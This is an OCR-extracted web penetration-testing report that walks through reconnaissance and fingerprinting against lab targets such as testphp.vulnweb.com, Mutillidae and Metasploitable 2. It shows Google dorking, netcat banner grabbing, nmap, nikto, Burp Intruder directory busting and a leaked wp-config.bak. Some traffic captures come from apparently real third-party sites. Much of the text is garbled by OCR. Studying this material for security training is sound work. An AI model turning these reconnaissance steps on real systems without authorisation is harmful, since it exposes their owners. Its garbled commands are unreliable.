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Information Gathering

1. Conduct Search Engine Discovery and Reconnaissance for Information Leakage

Google hacking technique
Evident:

With: testphp.vulnweb.com

| have try google hacki t h search field parameter

After this, | got basic crawling result below:

Index of /pictures/

testphp.vulnweb.com/pictures/ = Dich trang nay

Index of /pictures/ ../ 1.jpg 11-May-2011 10:27 12426 1.jpg.tn 11-May-2011 10:27 4355 2 jpg 11-May-
2011 10:27 3324 2 jpg.tn 11-May-2011 10:27 1353 3 jpg 11-May-2011 10:27 9692 3 jpg.in 11-May-2011
10:27 3725 4 jpg 11-May-2011 10:27 13969 4 jpg.tn 11-May-2011 10:27 4615 5 jpg 11-May-2011 10:27
14228 ..

Shop

testphp.vulnweb.com/Mod_Rewrite_Shop/ = Dich trang nay
Metwork Storage D-Link DNS-313 enclosure 1 x SATA - Price 359 € Web Camera AdTech PK-335E -
Price 10 € - Laser Color Printer HP LaserJet M551dn, A4 - Price 812 €

Index of /ICVS/

testphp.vulnweb.com/CVS/ = Dich trang nay
Index of /{CVS/ ./ Entries 11-May-2011 10:27 1 Entries Log 11-May-2011 10:27 1 Repository 11-May-

2011 10:27 § Root 11-May-2011 10:27 1.
Ban @3 truy cap trang nay 3 I3n. Lin truy cap cudi: 01/02/2018

ajax test
testphp.vulnweb.com/AJAXS v Dich trang nay
artists | categories | titles | send xml | setcookie.

Index of /admin/

testphp vulnweb com/admin/ « Dich trang nay

Index of fadmin/ . f create sql 11-May-2011 10:27 523.

Ban &3 truy cap trang nay 3 1an. Lan truy cdp cudi: 01/02/2018

Index of /images

testphp.vulnweb.com/images/ * Dich trang nay
Index of fimages/ ./ logo.gif 11-May-2011 10:27 6660 remark. gif 11-May-2011 10:27 79.

Index of [Templates/
testphp.vulnweb.com/Templates/ » Dich trang nay

| used some query to discovering more interested information :

as .

fis

t e:
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login page - Home of Acunetix Art

testphp.vulnweb.com/login.php + Dich trang nay

You can also signup here. Signup disabled. Please use the username test and the password test.
search art. Browse categories - Browse artists - Your cart - Signup - Your profile - Our guestbook - AJAX
Demo ...

signup - Home of Acunetix Art

testphp.vulnweb.com/signup.php + Dich trang nay

Signup new user. Please do not enter real information here. If you press the submit button you will be
transferred to asecured connection. Usemame: Password: Retype password: Name: Cradit card
number: E-Mail: Phone number: Address: search art. Browse categories - Browse artists - Your cart -
Signup - Your profile ...

wp-config.bak

testphp_vulnweb com/pictures/wp-config.bak + Dich trang nay

... define('DB_MNAME'", 'wp265as’); // The name of the database define(’'DB_USER’, 'root’); /f/ Your
MySQL username define(DB_PASSWORD', "), /f .._and password define(DB_HOST, 'localhost’); /f
59% chance you won't need to change this value define{DB_CHARSET, 'utfd’); define(DB_COLLATE',
"y; /i Change each KEY ..

References:

1 http://www.mrjoeyjohnson.com/Google.Hacking.Filters.pdf

2. Fingerprint Web Server

Web server fingerprinting is a critical task for the Penetration tester. Knowing the version and type of a
running web server allows testers to determine known vulnerabilities and the appropriate exploits to use
during testing.

Black box test:

The simplest and most basic form of identify a web server is look at the server field in the HTTP response
header witmetcat

Example:
nc google.com 80
GET /HTTP/1.1
Host: google.com
enter

enter


http://www.mrjoeyjohnson.com/Google.Hacking.Filters.pdf
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Automate Testing tools: httprint, Burpsuite

Online Testinghttps://www.netcraft.com/

Evident:
1 with netcat, we have result as below:

root@ilak:~# nc testphp.vulnweb.com 80
GET / HTTP/1.1
Host: testphp.vulnweb.com

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Fri, 02 Feb 2018 07:43:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2

i Of course, we can use some extension of browser, such as:

@ testphp.vulnweb.com/picturas/ w| G

o Wappalyzer

Web Server

& Nginx 1.4.1

9 Online solutions:


https://www.netcraft.com/
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netcraft.com/site_report?url=http://testphpvulnweb.com

B Hosting History

Netblock IP address 05  Web server Last seen
owner Refresh
Host Europe 176.28.50.165 Linux nginx/1.4.1 21-]lan-
GmbH 2018
Host Europe 176.28.50.165 Linux unknown 1%-Dec-
GmbH 2016
Host Europe 176.28.50.165 Linux nginx/1.4.1 17-Dec-
GmbH 2016
Host Europe 176.28.50.165 Linux unknown 30-0ct-
GmbH 2016
Host Europe 176.28.50,165 Linux nginx/1.4.1 28-0Oct-
GmbH 2016
Host Europe 176.28.50.165 Linux Apache 18-Jan-
GmbH 2013
Hosteurope 87.230.87.158 Linux Apache/2.0.55 Ubuntu mod_python/3.1.4 Python/2.4.3 PHP/5.1.2 mod_ssl/2.0.55 29-May-
GmbH OpenSSL/0.9.8a mod_perl/2.0.2 Perl/v5.8.7 2012
References:

1 http://lwww.terminallyincoherent.com/blog/2007/08/07/fewvgefutnetcattricks/

1 https://www.sans.org/securitgsources/sec560/netcat_cheat_sheet_vl.pdf

1 http://netcat.sourceforge.net.

1 https://www.darknet.org.uk/2007/09/httprviB01-web-serverfingerprintingtool-download/

1 http://lwww.netsquare.com/httprint.html

3. Review Webserver Metafiles for Information Leakage
How to test:
a. Robots.txt

Web spiders/robots/crawlers retrieve (access) a web page and then recursively traverse hyperlinks to
retrieve further web content. Their accepted behavior is specified by the Robots Exclusion Protocol of the
robots.txt file in the web root directory

Example: &c.com/robots.txt

Tool:
1 Using wget:
o Example: wgehttp://google.com/robots.txt
References:

1 http://www.robotstxt.org/

Evident:


http://google.com/robots.txt
http://www.robotstxt.org/
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http://local/mutillidae/robots.txt

<« ¢ @ 192.168.222.136/mutillidae/robots.txt

User-agent: *
Disallow: |s=t=l=pssas=1d
Disallow: config.inc
Dizallow: classes/
Di=zallow: Jjawvascript)
Dizallow: owasp-ssapi-phps
Dizallow: documentations
Dizallow: phpmyadmind
Dizallow: includes/

b. META Tag

Tags are located within the HEAD section of each HTML Document and should be consistent across a
web site in the likely event that the robot/spider/crawler start point does not begin from a document lin
other than webroot

Web spiders/robots/ crawlers can intentionally i gl
robots.txt file

Tool: BurpSuite

53 hitpsiliwww.facebook.com GET Jac.php 404 330257  HTML php KhA’ng TA-~m Thay Tr. v 31137835

55 https:/ities.services.mozila.com  POST  Nvdfinks/activity-stream < 200 178 JSON W 54213128137

57 hitpsiities.services mozila.com  POST  Addiinksiping-centre " 200 176 JSON V54213128137

82 hitps:/istatic o focdn net GET Jrsre.phpiv3yy/WB2hwXYKIK s 200 319112 script B V31137847 v

<'e 3

Request | Response

Raw | Headers | Hex | HTML | Render

/7<link rel="alternate" media="only screen and (max-width: G40px)" href="https://www. facebook com/ac php" /r<link rel="alternate' media="handheld" a
href="https: //www. facebook. com/ac.php' /><meta name="robots' content='noodp,noydir' /><msta property='"og:ititls' content='"s#x110;4$x10%;ng nhefxlead;p hoifixlehl e

£fixl11;6dx103;ng kofixfd; e#xlll;igxlec?; xen" /><meta property="og:description' content='"Wem bed#xel;i vic#xlebf;t, ifxleal;nh vafxel; nefxledS;i dung khifxel;c trifixean
Facebook." /><link rel="mask-icon' sizes='any" href="/icon.svg" color="#3b5998" /><link rel='"shortcut icon' href="https://static.xx. fbedn.net/rsre.php/yl/r/Hinkeda7ZHg. ico"
/»<link type="text/css" rel="stylesheet" href="https://static.xx. fhedn net/rsre_php/wi3/yp/l/0,cross/The3THvS-xW.css" data-bootloader—hash="UJfjG" data-permanent="1"

crossorigin="

<link type=
crossorigin="

"stylesheet" href="https://static xx. fhedn net/rsre. php/v3/ys/1/0,cross/ IDyKVWWuwD ess” data-hootloader-hash="KUTh¥" data-permanent="1"

<link type= *stylesheet" href='https://static.xx. fhedn. net/rsre.php/v3/yu/l/0, cross/r0gludiocia. css* data-bootloader-hash="f0fTF" data-permanent="1"
crossorigin="

<link type="text/css" "stylesheer" href='hutps://stacic.xx. fhedn. net/rsre.php/v3/yI/1/0, cross/DCrESERy20p. css" data-bootloader-hash="XuG9H" data-permanenc="1"
crosserigin

<link type="text/css" "stylesheer" href='hueps://stacic.xx. fhedn. net/rsre.php/v3/yR/1/0, cross/Huldr¥ball. css" data-bootloader-hash="KIShh" data-permanenc="1"

crossorigin
<link type="text/css" rel="styleshest' href="hreps://static.xx. fbedn. net/rsre.php/vi/yS/1/0, cross/N02ynGaczFY. css" daca-hootloader-hash="X2vFp" data-permanenc="1"
crossorigin="ancnymeus” />

<script sres"heeps://static wx fbedn net/rsre. php/v3/vv/r/tWEThwXVE{K is" data-hootloader-hash="HKeiz' crossorigins'anonymous'></scripes> Y

2 )= )= ][ =] |merahane-roBOTS" 1 match

4. Enumerate Applications on Webserver

Base URLs:
1 http://www.example.com/webmail
1 http://mail.example.com/

Baseports:

Most basic and the simplest way is using port scanner such as nmap with this options. For example
below:


http://local/mutillidae/robots.txt
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nmap-sT-sV -p 0-65535 192.168.1.1
Base Domain name:

1 There are a number of techniques which may be used to idnetify DNS names to given P, Whic
one is nslookup.

cmd
nslookup

all

set type=all
example.com

1 Webbased DNS search:
0 http://searchdns.netcraft.com/?host
 Reverse IP:
o Domain tools reverse IP: http://www.domaintools.com/revarse (require free
membership)
0 MSN search: http://search.msn.ceymtax: "ip:x.X.x.x" (without the quotes)
0 webhosting info: http://whois.webhosting.info/
0 DNSstuff: http://mwww.dnsstuff.com/

Google hack
Evident:

1 Example with nmap:
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root@ilak:~# nmap -sV 192.168.222.136
Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-02 14:57 +07
Nmap scan report for 192.168.222.136

Host is up (0.00026s latency).
Not shown: 991 closed ports

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3pl Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu) mod mono/2.4.3 PHP/5.3.2-1lubuntu4.30

html/3.0.1 mod python/3.3.1 Python/2.6.5 mod ssl1/2.2.14 OpenSSL...)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Courier Imapd (released 2008)

443/tcp open ssl/https?

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
5001/tcp open java-rmi Java RMI

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8081/tcp open http Jetty 6.1.25

1 service unrecognized despite returning data. If you know the service/version, please submit
at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=7.60%I=7%D=2/2%Time=5A7419E3%P=1686-pc-linux-gnu%r(NULL,
SF:4,"\xac\xed\0\x05") ;

MAC Address: 00:0C:29:5D:2A:56 (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 22.18 seconds

1 Example with nslookup:

»*nsloo
hn-ps veynash.vn.local
.16.17 .8

com
1-w.

GpIupEPmMYQ"

nslookup, dig

Port scanner: nmap http://www.insecure.org

Nessus Vulnerability Scanner. http://www.nessus.org
Search engine: shodan.io, google.

= =4 =4 =4

Note for shodan.io: //null

10
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5. Review Webpage Comments and Metadata for Information Leakage

It is very common, and even recommended, for programmeirsctade detaileccommnents and metadata
on theirsource code. However, comments and metadata included i@ thle code  might  reveal
internalinformation that shouldhot be availabléo potential attackers. Comments and metadetgiew
should be donein order to determine #ny informations beingleaked.

Tools:

1 Waget
1 Any browser

& @ view-source:http://192.168.222.136/mutillidae/index.php

=

ot F

5=
he

o b+ M

saying we should use

b}

his comment.

]
it
0

—

security ilnstruct j 2 makin 11 this up. --> <!-— End Content -->

<fblockquoté>
</ td>
</tr>

6. ldentify Application Entry P oints
In request:

91 Identify where GETs are used and where POST are use
91 Identify ALL parameters used in POST request (including hidden parameter and unhidden

parameter)
9 Identify ALL parameters used in GET request (usually after ? mark)

Identify all parameters of query string
9 Pay attention for parameters even if encoded or encrypted and identify which ones account who

are process by application.

=

In response:

1 Identify and ote any headers
1 Identify where there are any redirects (300 HTTP status code), 400 status code, 403 particular

forbidden and 500 internal server errors during normal response.

Tools:

T I'ntercept proxy: Burpsuite, paros, webscarab, é
1 Browser plugins: Tamperttaa on firef ox, é

Some note:

11
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9 To discovering hidden parameters, | can use Burp Suite with following options:

Target | Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T-
[ Intercept T HTTP history T WebSockets history T QOptions

o T S T T T ST T o

@ Response Modification

@ These zettings are used to perform automatic modification of responses.

[ Unhide hidden form fields
[ Prominenthy highlight unhidden fields

Shopping Cart

Shopping Cart Items -- To Buy Now Price | Quantity | Total
56 inch HDTW (model KTWw-551) 2999.99 £2999.99
The total charged to vour credit card: £2999.99 UpdateCart Purchase

Hidden field [Price] [2s09.00

ASPEI:'I')

! Application Security Experts

1 With status code, usinglBr psui te to findbem out
j Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Projec

Site map | Scope

Fitter: Hiding not found tems; hiding CS5, image and general binary content;, hiding empty folders

@ Fitter by request type Fitter by MIME type Fitter by status code
@ ] Shaw only in-scope items [ HTML [ Other text [ Zxx [success]
[J show only requested tems & Script ] Images [ 3xx [redirection]
(] Show only parameterized reguests & xML [ Flash [ 4xx [request error]
[ Hide not-found items [ css ] other binary [ 5xx [server error]

1 Capture request parameters and response header with Burp Suite

12



[WEB APPLICATIGMENETRATION TES'I]I

P{ﬂ hitp:/ftestphp.vulnweb.com POST luzerinfo.php J 200 5342 HTML php user info
-

Reguest | Response
- Params | Headers | Hex

POST request to /userinfo.php

Type | Name | Value
Body uname test
Body pass test

Resprss
Raw | Headers T Hex I HTML I Render ]

Name | Value

HTTRM A 200 0K

Server nginx/1.4.1

Date Fri, 02 Feb 2018 07:23:06 GMT
Content-Type textihtml

Connection close

X-Powered-By PHP/S.3.10-1~lucid+2uwsgi2
Set-Cookie legin=test%2Ftest
Content-Length 5126

7. Map execution paths throughapplication

Before commencing security testing, understanding the structure of the application is paramount. Without
a thorough understanding of the layout of the application, it is unlikely that it will be tested thoroughly

Test objectives
1 Map the targeapplication and understand the principal workflows
Automatic Spider tools

1 Burp Suite
T ZAP

AutomateSpiderexample

hittp:/192 168 222 136 || Host
(e hitps./factivity-stream-icons.se hitp:/M192.168.222.136/
> O hitps./faddons.cdn.mozilla.net Add to scope
» @ nhittps:addons.mozila.org . .
* hitp:/fajax. googleapis.com
» 4 hitps://ajax.googleapis.com Actively scan this host
> hitps./fapiw.org Passively =can this host
PR | T e - m

13
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L

= A\ Contents
» | ajax r
[ capture-data.php Host | Method | URL | Params | Status & | Length |
» 2 database-offiine php hitp:/192.168.222.136 GET imutilidae/documentation... 200 1607529
¥ [T documentation
E mutillidae-installation-on-xampp-win 7. pdf
[ framer.htmi
¥ [T includes
> i::j pop-up-help-context-generator.php
[ set-up-database php
> f’.?* index.php
e javascript
|: rene-magritte.php
0 5e1-_up—database.php 1% J s
» ir'.i styling.php
v r;’:.-elli:-:;rwces Hespcies
D'EEJ Wa-User-account. php Raw | Headers | Hex
» [ soap T
[ oneliner_intro.php HITR/L.1 200 OF |'l
a - Date: Fri, 09 Feb Z018 08:34:30 GMT
,I_: orangefirm Server: Apache/Z.2.14 (Ubuntu) mod moneo/2.4.3 PHP/E. 2. Z-lubuntud. 30
> [ orangehrm with Suhosin-Patch proxy html/3. 0.1 mod python/3.3.1 Python/Z.6.5
[ owaspbricks mod_ss1/2.2.14 OpenS3L/0.9.8k TPhusion Passenger/4.0.38
[ 3 r owaspbricks mod perl/Z. 0.4 Perl/vw5.10.1
E peruggia Last-Modified: Fri, 27 Sep 2013 0I2:47:08 GHT
P;‘ peruggia ETag: "5e507-1885a4-4e75480%ec300"
E phpBB2 Accept-Ranges: hytes
- - Content-Length: 1207078
‘:_ phpBB2 Connection: close
» [ railsgoat Content-Type: application/pdf
|: redmine
» [ shepherd $PDF-1.5
[ tikiwiki S
» [0 tikiwiki 10 b3
E vicnum I/ <</Type/Catalog/Pages Z 0 R/langien-US) /StructTreceRoot &8 0 L
> i E/MarkInfo<</Marked true=>>»=> T
I wicnum ez

8. Fingerprint Web Application & Web Application Framework

Web framework fingerprinting is an important subtask of the information gathenaegss. Knowing the

type of framework can automatically give a great advantage if such a framework has already been tested
by the penetration testelt is not only the known vulnerabilities in unpatched version but specific
misconfigurations in the framerk and known file structure that makes the fingerprinting process so
important.

Black Box Testing
There are several most common locations to look in in order to define the current framework

HTTP headers

Cookies

HTML source code
Specific files and folders

=A =4 =4 =4

HTTP headers

The most basic form of identifying a web application framework is to look at #RevieredBy field in
the HTTP response header.
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379 http:/ianteniomarco.com GET ') 301 1397 HTML Redirecting to http:/fanto.

380 hitp:i/antoniomarce.com GET les/inicio 200 40914 HTML Empresa de transportes ...
383 http:#inetdna.bootstrapedn.com GET Ibootstrap/3.3.4/s/bootstrap. min.js 200 36405 script =3

< J

Request | Response

Raw | Headers | Hex | HTML | Render

HTTP/Ll.1 301 Moved Permanently

Date: Wed, Z1 Feb Z018 07:12:3& GMT

Server: Apache

Cache-Control: no-cache

Set-Cookie:

KERF-TOKEN=eyJpdi &I jVvdGHTlod akhiMV40F JPYCSc L2 ERPTOLLCI YW 123 16 InVEL 0w e GRpSELTcEx QaWEI 26t Mdnxt eDF0UNV 1S3 Vs SndVanT4WD N3 cUL T FSMESnZWF 5eWZE0EEg
eDETATn P TOALC I TWHL0iTy0Dgd EWnd CTx Ve o sN I U2 Mt 4 Vi NG T O g4MWU LY TE4M ) JiMsAzlulli T 21N F10CE4 0 ThwliDMwI DL 1T TA=In0% 20 ; expires=Wed, Z1-Feh-2018 05:
Set-Cookie:

laravel session=eyJpdilellR0SnI{dnpwhTRSaHhWI1S0TIyUeSPSIsInZhbHVLII ol MO HeX RATLRSUGxvRIFLENASNDF T o3B3 T2 Uwhkt gPnZl enElbnl rMDEY TGVWEZZdiZVFLEIphd TE
rRFEcLIBpUGERAz08TiwibWFiT30i0TIS0DADYWIN: Vi Phi TirwMeMxMD owlin Y 2 0DEOZGRI V22 M CMD Ry OWU4MnEx ZJEL ZGUwTmF JMWE=MzN 0G01ZiJ9; expires=Wed, Z1-Feh-T018 09:
path=/; httponly

Location: http://antoniomarco. com/esSinicio

Vary: Accept—Encoding

H-Powered-By: Mono

Content-Length: 276

Connection: close

Content-Tvpe: text/html; charset=UTF-8

() G G xammeresny

Cookies

Another similar and somehow more reliable way to determine the current web framewakrensork
specific cookies.

(RTINS

[ e [ e |
Raw | Headers | Hex HTMLTRender]

HTTP/1.1 Z00 OK

Date: Wed, 21 Feh Z018 07:17:15 GMT

Server: Apaches/Z.4.& (Red Hat Enterprise Linux) OpenS3L/1.0.le-fips PHP/5_E.30

¥-Powered-By: PHPF/5.&.30

Cache-Control: no-cache, max-age=884000

Set-Cookie:

HERF-TOKEN=evJpdi IE InZpMHRadURERTE=Y 1he LOOORE L QTVnP TOALCI ZYWx LESTE InEUTSEVaSFI 2L Ux CWlr grwlESRIEMLME ¥ Lo 23UV s TREENU Lgek 3N 2 en T xmals JIXCSRULLL
WibWFITIjoiZThiNTJONz R E3V1OWEsND YWD Q4N =My 0 O TY LMZ Ivlin I x ODhh VeV Nn N MENTAS Y= I0V  LAZTYxOWERNIC IS ; expires=Wed, IZ1-Feb-IZ018 059:17:15 GMT;
Set-Cookie:

laravel session=eyJpdileljlNelkSROVITRIEcaZhnPnZl STEZRHeSPSIsInZhbHVITjoiUGTxN0grhed RWUSEdS Inal M2Zk JsZDEORILIUVEI Pmoyhl ZENZ 1KanValk Z0ZGVGETFE
=08 TiwibWFIIjoiETge DU IMTOZETOZ Mz E4MD E1MG RO T 0TnE 20WY LY 2 UxNT QwEn I h Y CUTINTALMT I4NTYxNWEO Z) Qw Y TUOM=ELECTS ; expires=Wed, IZ1-Feb-I018 05:17:15
Expires: Sat, 03 Mar 2018 07:17:15 GMT

Vary: Accept-Encoding,User-Agent

Content-Length: 15552

Comnection: close

Content-Type: text/html; charset=UTF-8

Strict-Transport-Security: max-age=31538000; includeSubDomains

EJ EJ EJ LZJ cookie

Alekankh i ~oT Iornmbn fin fhand

ann Ancon

472 hitps:/ifwww . glohealth.ie GET Iprivacy-cookie-policy 200 21114 HTML Privacy Cockie Policy
<

HTML source code

This technique is based on finding certain patterns in the HTML page source code. We can find a lot of
information which helps a tester to recognize a specific web application.

¢ @ @ view-source:httpy//192.168.222.136/wordpress/ o @ | Q Search

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhitml1/DTD/xhtmll-transitional.dtd">
<html xmlns="http://wwWw.w3.0rg/1999/xhtml">

<head profile="http://gmpg.org/=xfn/11">
<meta http-equiv="Content-Type" content="text/html; charsec=UTF-§" />

<title>Broken WordPress </title>

.c3s" type="text/css" media="screen" />
alternate” type="spplication/rss+xml" title="Broken WordBress RSS Feed" href="http://192.168.222.1536/wordpress/ ?feed=r=s2" />
<link rel="pingback" href="http://192.168.222,136 /wordpress,/xmlrpc.phe" />

15
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Specific files and folders

Every application has its own specific file and folder structure on the server. We can use tool or manual
access them.

Dirbusting example
1 Google hacking technique

https://www.exploitdb.com/ghdb/4675/

— — (::1 | a wordpress.com/xmlrpc.php?rsd 'j,‘f'i’ | = ﬁ-u |£'}

<?xml version="1.0" encoding="UTF-8"7=>
- <rsd xmlns="http:/ farchipelago.phrasewise.comfrsd" version="1.0">
- <servicex
<engineMame>=WordPress</engineMame:=
<engineLink>=https:/ fwordpress.org/ </enginelink>
<homePagelink=http:/ /wordpress.com=/homePagelink=
- <apis=
<api apiLink="https:/ fwordpress.com/xmlrpc.php" preferred="true"
blogID="1" name="WordPress"/=
<api apiLink="https:/ fwordpress.com/xmlrpc.php" preferred="false"
blogID="1" name="Movable Type"/>
<api apiLink="https:/ fwordpress.com/xmlrpc.php" preferred="false"
blogIlD="1" name="MetaWeblog"/=
<api apiLink="https:/ fwordpress.com/xmlrpc.php" preferred="false"
blogID="1" name="Blogger"/>
<api apiLink="https:/ ftwitter-api.wordpress.com/" preferred="false"
blogID="" name="Twitter"/>
</apis=
< [service
=/rsd=

1 BurpSuite Intruder
[1 S ]'2 S T ]

[ Target ]' Positions. T Payloads T Options. ]

@ Payload Positions

Cenfigure the positions where payloads will be inserted into the base reguest. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: l Sniper

GET /wordpress/§af HTTP/1.1

Host: 1SZ_1EB.I22I2.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4; rv:58.0) Gecko/Z0100101 Firefox/58.0
Accept: text/html,application/xhtnltxml, application/xml;gq=0.9,*/*;q=0_8

Accept-Lancuage: en—-GE,en;qgq=0.5

Accept-Encoding: gzip, deflate

Peferer: http://l92.168B.I2II2.13&/

Coockie: dbx-postmeta=§grabit=0-,1-,2-,3- 4- 5- E-fadvancedstuff=0-,1-,2-§

Connection: close

Upgrade-Insecure-Requests: 1
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[ Jan

Target | Positions I Payloads T Options W

W2 Intruder attack 1

x
S Attack Save Columns
2 Payload Sets
Results | Target | Positions T Payloads T Options. ]
“You can define one or more payload sets. The number of payload sets dej
S ‘ Fiter: Showing all tems. ‘ 2
Payload set: | 1 | Payload count 3
e — Request & | Position | Payload | Status | Eror | Timeout | Length | Comment
Payload type: | Simple list L Request count: 6
] 404 a a 598
| 1 “wp-admin 301 o o ™
2 1 wp-login 200 (=] [m] 2214
2 Payload Options [Simple list] 3 1 readme. himl 200 (8] (0] 8625
4 2 wp-admin 404 (8] (=] 598
This payload type lets you configure a simple list of strings that are used a{ | ¢ 2 wp-login 404 o a 588
6 2 readme. html 404 =] a 598
Paste wp-admin
wp-login
Load readme. html [ E I R W
L Raw | Headers | Hex | HTML | Render
N

Version 2.0
Semantic Personal Publishing Platform

First Things First

Common Application Identifiers

Application Keyword
WDFdICIIEGS “meta name="generator” content="WordPress 3.9.2" />
phpBE <hody id="phpbb"
Medizwiki “meta name="generator” content="MediaWiki 1.21.3" /=
Joomla <meta name="generator™ content="Joomla! - Open Source Content Management" />
Crupal “meta name="Generator™ content="Drupal 7 (http://drupal.org)}" /=
DotMetMuke DM Platfiorm - hitp:/fwsww dnnsoftware.com

Framework Cookie name

Zope Zope3
CakePHP cakephp
Kiohana kohanasession
Larawvel laravel_session

Nikto
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root@ilak:~# nikto -h testphp.vulnweb.com
- Nikto v2.1.6

+ Target IP: 176.28.50.165

+ Target Hostname: testphp.vulnweb.com

+ Target Port: 80

+ Start Time: 2018-02-21 15:02:00 (GMT7)

+ Server: nginx/1.4.1

+ Retrieved x-powered-by header: PHP/5.3.10-1~lucid+2uwsgi2

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the use
r agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user age
nt to render the content of the site in a different fashion to the MIME type

Whatweb

ActiveX
Adobe-Flash, Country|GERMANY Email[wvs@acunetix.com HTTPServer [ nginx/

1.4.1], IP[176.28.50.165 Object[http://download.macromedia.com/pub/shockwave/c
abs/flash/swflash.cab#version=6,0,29,0

PHP[5.3.10-1~lucid+ 2], Script[text/JavaScript], Title[Home of Acuneti
x Art X-Powered-By[PHP/5.3.10-1~lucid+2uwsgi2 nginx[1.4.1

Configuration and Deployment Management Testing

1. Test Network/Infrastructure Configuration
Review of the Application Architecture
Known Server Vulnerabilities

9 Using Nessus Scan for Metasploitable 2, we have some Known vulnerabilities as shown below:
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Scans Settings
Sev Name Farmily Count Name: mtea
Status: Completed
Debian OpenSSH/OpenS5L Package Random Number ... Gain a shell remotely 1 )
! Policy: Advanced Scan
Scanner: Local Scanner
CRITICAL ! ic cti ic cti
- rexecd Service Detection Service detection 1 Start Today at 3:14 PM
End: Today at 3:19 PM
Rogue Shell Backdoor Detection Backdoors 1 )
Elapsed 4 minutes

LA Unix Operating System Unsupported Version Detection General 1
Vulnerabilities

WNC Server ‘password’ Password Gain a shell remotely 1
’ ® Criical
High
rlogin Service Detection Service detection 1 Medium
' ® Low
rsh Service Detection Service detection 1 ® |Info
Unsupported Web Server Detection Web Servers 1

Administrative Tools

1 List all the possible administrative interfaces such as:
Local remote

collisions:0 txqueuelen:1000
RX bytes:4Z68 (4.1 KB) TX bytes:7Z60 (7.0 KB)
Interrupt:19 Base address:0x2000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inett addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 Hetric:1

RX packet=s:92 errors:0 dropped:0 overruns:0 frame:0
TX packets:9Z2 errors:0 dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:19393 (18.9 KB) TX bytes:19393 (18.9 KB)

m=fadmin@Pmetasploitable:

n=fadmin@Pmetasploitable:

nz=fadmnin@Pmetasploitable:

msfadmin@nmetasploitable:™5 mysgl -u root -p

Enter password:

llelcome to the MySQL monitor. Commands end with : or Ng.
Your My3QL connection id is 12

Server version: 5.0.51a-3ubuntu5 (Ubuntu)l

Remote access via SFTP
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By manhpham - msfadmin@192.168.222.151 - WinSCP — O pet
Local Mark Files Commands Session Options Remote Help
El % E Synchronize | Bl @ @ {E*} @ Cueue ~ Transfer Settings Default @ @ @
[ msfadmin@192.168.222.151 ﬁ Mew Sessicn
. C: Local Disk ~ [= [{] &= - EEQ & % o EE e ma& »
» » » »
CA\Users\manhpham', !
~ F2y
Size Type (™ || Name Size Changed )
Parent directory 1 . 5/21/2012 1:36:12 AM
.android File folder 1 bin 5/14/2012 10:35:33 AM
AndroidStudie3.0 File folder 1 boot 5/14/2012 10:36:28 AM
.gradle File folder 1 [@], cdrom 4/29/2010 3:26:18 AM
MirtualBox File folder 1 dev 2/472018 8:36:40 PM
AndroidstudioProjects File folder 1 etc 2/4/2018 8:51:11 PM
[Z5] Contacts File folder g home 4/16/2010 1:16:02 PM
B Desktop System Folder 2 initrd 3/17/2010 5:57:40 AM
% Documents System Folder 1 lib 3/14/2012 10:35:22 AM
*Downloads System Folder 2 lost+found 3/17/2010 5:55:15 AM
[ Favorites File folder q media 3/17/2010 5:55:52 AM
# Links File folder g mnt 4/29/2010 3:16:56 AM
Jﬂ Music System Folder qw opt 317/2010 3:57:39 AM v
£ > £ >
0Bof0BinDof 19 20 hidden 0B of 20.5 KB in 0 of 23
& SFTP-2 0:00:49
Access via web interfadesuch as HTTP Isic authentication
Access via WebDAV
Local Mark Files Commands Session Options Remote Help
H % ﬁ Synchronize @ = {g} @ Queue ~ Transfer Settings Default - @ -
B 192168.222151 [ New Session
Woekiop - F - BEEQL % I/ -8F o ”
¥ » 3 »
Ch\Users\manhpham'\Desktop\ !
MName - Size Type ™ || Mame - Size Changed
Hef Parent directory 2
CEH_Exam File folder 1
demofolder File folder 1
owasp File folder 2
1 CEH 02 proj 3.0dt 539KE  OpenDocumentT.. 1
@ Cross Site Scripting A.. 7.517TKB PDFFile 1
@CyberSecurityFullSolu... 224KB  Microsoft Excel W.. 1
@ dictionary security.pdf  41,233KB  PDFFile 1
@ goat.html 330KE  HTML File 2
ManhPham_Checinst... 2,572KB  OpenDocument 5. 1
5] mtea_1gki2d.pdf 215KB  PDFFile 2
@ mutillidae.html 1,080 KE  HTML File 2
D Mew Text Document.bd OKE  Text Document 2w
£ > £ >
0B of 59.2 MB in 0 of 18 1 hidden 0Bof0Bin0of0
WebDAY 0:00:33
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Access via FTP

& msfadmin - msfadmin@192.168.222.151 - WinSCP - O X
Local Mark Files Commands Session Options Remote Help
K % E Synchronize | Bl @ =] {g}' CQueue ~ Transfer Settings Default = @ <
& msfadmin@192.168.222.151 E’ Mew Session
(| My documer ~ [ (7] BEQL % (In-E8F BEEad >
¥ ko ko »
C:\Uzers\manhpham\Documents', /home/msfadmin/
Mame - Size Type ™ || Name - Size Changed
N_Scan File folder 1 el
nt check File folder 1 vulnerable 4/28/2010
rp File folder 1
Virtual Machines File folder 2
